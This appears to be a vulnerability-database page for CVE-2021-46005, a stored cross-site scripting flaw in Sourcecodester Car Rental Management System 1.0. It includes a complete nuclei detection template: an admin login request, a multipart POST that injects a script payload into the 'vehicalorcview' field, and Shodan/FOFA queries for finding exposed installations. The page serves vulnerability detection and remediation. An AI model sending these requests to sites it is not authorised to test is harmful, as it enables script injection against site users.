HexBrain

Browse / CVEs / CVE-2021-46005

CVE-2021-46005· car rental management system project / car rental management system· CWE-79

Sourcecodester Car Rental Management System 1.0 - Stored Cross-Site Scripting

mediumseverity
5.4CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Sourcecodester Car Rental Management System 1.0 is vulnerable to cross-site scripting via the vehicalorcview parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the execution of arbitrary code or theft of sensitive information.

Fix

To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: POST /admin/ ; POST /admin/post-avehical.php ; GET /
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-46005 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-46005

info:
  name: Sourcecodester Car Rental Management System 1.0 - Stored Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: Sourcecodester Car Rental Management System 1.0 is vulnerable to cross-site scripting via the vehicalorcview parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the execution of arbitrary code or theft of sensitive information.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://www.exploit-db.com/exploits/49546
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46005
    - https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-46005
    cwe-id: CWE-79
    epss-score: 0.02891
    epss-percentile: 0.87019
    cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: car_rental_management_system_project
    product: car_rental_management_system
    shodan-query: http.html:"car rental management system"
    fofa-query: body="car rental management system"
  tags: cve2021,cve,sourcecodester,authenticated,edb,xss,intrusive,car_rental_management_system_project,vuln

http:
  - raw:
      - |
        POST /admin/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        username={{username}}&password={{password}}&login=
      - |
        POST /admin/post-avehical.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypWqYipqU21aYgccv

        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="vehicletitle"

        Test
        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="brandname"

        1
        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="vehicalorcview"

        </script><script>alert(document.domain)</script>
        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="priceperday"

        500
        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="fueltype"

        Petrol
        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="modelyear"

        2022
        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="seatingcapacity"

        5
        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="img1"; filename="test.png"
        Content-Type: image/png


        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="img2"; filename="test.png"
        Content-Type: image/png


        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="img3"; filename="test.png"
        Content-Type: image/png


        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="img4"; filename="test.png"
        Content-Type: image/png


        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="img5"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundarypWqYipqU21aYgccv
        Content-Disposition: form-data; name="submit"


        ------WebKitFormBoundarypWqYipqU21aYgccv--
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - </script><script>alert(document.domain)</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from